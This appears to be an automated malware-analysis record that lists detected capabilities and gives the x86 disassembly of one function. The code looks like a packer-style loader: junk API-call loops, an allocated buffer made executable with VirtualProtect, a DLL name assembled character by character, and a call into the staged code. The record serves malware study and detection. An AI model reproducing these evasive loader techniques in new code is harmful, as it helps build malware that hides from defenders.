Function at 0x4a8790
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x20f0
call fcn.00412420
push ebx
mov ebx, dword [esp + 4]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d19c
jge 0x4a87c4
push 0
push 0
push 0
call edi
cmp dword [0x836820], 0x6fb
jne 0x4a87dc
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa0a
jle 0x4a87f4
cmp ebx, 0xc10b4e
je 0x4a87f4
cmp ebp, 0x9068a6c
jne 0x4a87fd
inc esi
cmp esi, 0x83358
jl 0x4a87b4
cmp dword [0x836820], 0xcf8
jne 0x4a8839
push 0
push 0
call fcn.00407631
push 0
call fcn.00415a14
add esp, 0xc
push 0
push 0
call fcn.00415a1f
add esp, 8
lea eax, [esp + 0x50]
push eax
call fcn.00405990
push 0
call fcn.00407bd0
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x4a8854
mov eax, 0x5d1
add dword [0x836820], eax
cmp dword [0x836820], 3
jne 0x4a886b
push 0
push 0
lea ecx, [esp + 0x508]
push ecx
call edi
inc esi
cmp esi, 0x1518d4
jl 0x4a8841
mov edx, dword [0x836820]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4b6884], eax
mov eax, dword [0x836820]
xor esi, esi
test eax, eax
je 0x4a88dc
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
nop
cmp eax, 0xfe
jne 0x4a88b3
push 0
lea eax, [esp + 0x904]
push eax
call ebx
call fcn.004a8290
mov eax, dword [0x836820]
cmp eax, 0x29
jne 0x4a88d7
push 0
push 0
lea ecx, [esp + 0x908]
push ecx
push 0
call edi
mov eax, dword [0x836820]
inc esi
cmp esi, eax
jb 0x4a88a0
cmp eax, 0x70
jne 0x4a89e7
lea edx, [esp + 0x500]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0x40418c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x900]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x1104]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0x404200
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0x40421c
push 0x40423c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea ecx, [esp + 0x1904]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea edx, [esp + 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
lea eax, [esp + 0x18]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x836820]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x4a8a35
push 0x4042a0
push 0
lea ecx, [esp + 0x108]
push ecx
push 0x40425c
push 0x4042e0
push 0x404284
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x836820]
cmp eax, 0xdf
jne 0x4a8ad3
push 0x404334
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x20]
push ecx
push edx
push edx
lea eax, [esp + 0x10c]
push eax
push edx
mov dword [esp + 0x28], edx
call ebx
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call esi
push 0x404354
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x404368
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0x404418
push 0x404480
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0x4044b0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x836820]
dec dword [esp + 0x10]
jne 0x4a8a07
mov edx, dword [0x4b6884]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x4b1af0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a8590
mov eax, 0
add dword [0x4b6884], eax
mov ecx, 0x6d
mov word [0x835836], cx
mov ecx, 0x6c
mov word [0x835844], cx
mov eax, 0x69
xor ecx, ecx
push 0x835830
mov dword [0x835840], 0x6c0064
mov dword [0x83583c], 0x2e0032
mov word [0x835834], ax
mov dword [0x835830], 0x73006d
mov word [0x835846], cx
mov dword [0x835838], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, 0x73
mov ecx, 0x6d
mov word [0x835832], ax
mov word [0x835836], cx
xor ecx, ecx
cmp dword [0x836820], 0xc30
mov edx, 0x33
mov eax, 0x67
mov word [0x83583a], dx
mov word [0x835846], cx
mov word [0x835838], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
mov dword [0x835840], 0x6c0064
mov word [0x835834], cx
mov word [0x835830], dx
mov word [0x835844], ax
mov dword [0x83583c], 0x2e0032
jne 0x4a8c6b
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea eax, [esp + 0x500]
push eax
push 0x4044b4
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0
lea eax, [esp + 0x904]
push eax
push 0x4044cc
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x18]
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret